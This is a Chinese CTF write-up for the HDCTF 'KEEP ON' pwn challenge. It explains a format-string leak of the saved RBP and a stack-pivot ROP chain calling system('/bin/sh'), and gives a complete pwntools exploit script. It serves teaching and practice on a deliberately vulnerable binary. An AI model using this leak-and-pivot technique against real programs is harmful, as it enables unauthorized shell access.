当前位置: 首页 > article >正文

HDCTF KEEP ON

Index

  • KEEP ON
    • Checksec & IDA
    • 漏洞分析
    • 完整EXP

KEEP ON

Checksec & IDA

在这里插入图片描述

__int64 vuln()
{
  char s[80]; // [rsp+0h] [rbp-50h] BYREF

  memset(s, 0, sizeof(s));
  puts("please show me your name: ");
  read(0, s, 0x48uLL);
  printf("hello,");
  printf(s);
  puts("keep on !");
  read(0, s, 0x60uLL);
  return 0LL;
}

漏洞分析

格式化字符串漏洞与栈溢出漏洞。溢出后只能覆盖返回地址,因此存在两种解法:
格式化字符串 与 栈迁移

先计算出我们的RBP偏移。
在这里插入图片描述
使用%16$p即可获取rbp。

io.recvuntil(b'name: \n')

fmtpayload = b'%16$p'
io.send(fmtpayload)
io.recvuntil(b'hello,0x')

old_rbp = int(io.recv(12),16)

在这里插入图片描述
rbp与s的距离为0x60,再减去0x08的返回地址,就得到了我们的目标迁移地址。
也就是:
Target_Addr = old_rbp - 0x60 - 0x08
这样我们就得到了我们的目标地址,可以开始构建我们的Payload了。
我们只有0x60的大小构建Payload。
我们首先需要一个pop rdi, ret来将/bin/sh的地址pop进栈中作为system函数的参数。
在这里插入图片描述
然后就是我们的/bin/sh地址。由于我们最终的构想是getshell,因此我们需要这样构造Payload:

Payload = p64(rdi)
Payload += p64(Target_Addr + 0x8 + 0x18)
Payload += p64(system)
Payload += b'/bin/sh\x00'

我们首先将binsh的地址送入rdi寄存器中,然后再继续接下来的操作。

Payload = Payload.ljust(0x50, b'\x00')
Payload += p64(Target_Addr)
Payload += p64(leave_ret)

我们将Payload填充到0x50大小,因为0x50是s的大小。剩下的0x10则是我们的RBP与Leave, Return指令。
/bin/sh的地址为什么是Target_Addr + 0x8 + 0x18是因为Target_Addr指向rdi,0x08 + 0x18 也就是0x20代表第四个数据,也就是b'/bin/sh\x00'

完整EXP

from PwnModules import *

io = process('./hdctf')
#io = remote('node4.anna.nssctf.cn', 28031)
elf = ELF('./hdctf')
context(arch='amd64', os='linux', log_level='debug')

io.recvuntil(b'name: \n')

fmtpayload = b'%16$p'
io.send(fmtpayload)
io.recvuntil(b'hello,0x')

old_rbp = int(io.recv(12), 16)

log.success('RBP Addr: ' + (hex(old_rbp)))

leave_ret = 0x4007F2
rdi = 0x4008D3
system = elf.plt['system']

Target_Addr = old_rbp - 0x60 - 0x08

# RDI will pop binsh addr as system's arg
# Offset : 0x08
Payload = p64(rdi)
# Offset : 0x08 + 0x08
Payload += p64(Target_Addr + 0x8 + 0x18)
# Offset : 0x08 + 0x10
Payload += p64(system)
# Offset : 0x08 + 0x18
Payload += b'/bin/sh\x00'
# Fill the Payload to 0x50.
Payload = Payload.ljust(0x50, b'\x00')
# The Leave Ret cmd's ret addr.
Payload += p64(Target_Addr)
# The Leave Ret
Payload += p64(leave_ret)

io.recvuntil(b'keep on !\n')
io.send(Payload)

io.interactive()

http://www.kler.cn/a/14335.html

相关文章:

  • 春秋云境:CVE-2022-25099(文件上传造成RCE)
  • 使用bert4keras出现的问题(Process finished with exit code -1073741819 (0xC0000005))
  • 压力测试工具Jmeter入门
  • Java 实现访问Redis哨兵(六)
  • 学顶教育:注安工程师不同级别考试形式也不同?
  • Python小姿势 - Python操作MongoDB数据库
  • 《CTFshow-Web入门》06. Web 51~60
  • 华为OD机试-高性能AI处理器-2022Q4 A卷-Py/Java/JS
  • MQTT 开放基准测试规范:全面评估你的 MQTT Broker 性能
  • 低代码应用开发平台,让数据管理更简单!
  • GEE遥感云大数据在林业中的应用
  • Python小姿势 - Python爬取数据的库——Scrapy
  • MyBatis的添加和简单使用
  • python 之函数(五)
  • [Net]SSE消息推送简介
  • 基于ArcGIS Pro、Python、USLE、INVEST模型等多技术融合的生态系统服务构建生态安全格局
  • matlab求解整数规划
  • 【C/C++】Linux C++ 获取当前时间
  • 燃气管道定位83KHZ地下电子标识器探测仪ED-8000操作说明1
  • java版工程管理系统源码企业工程项目管理系统简介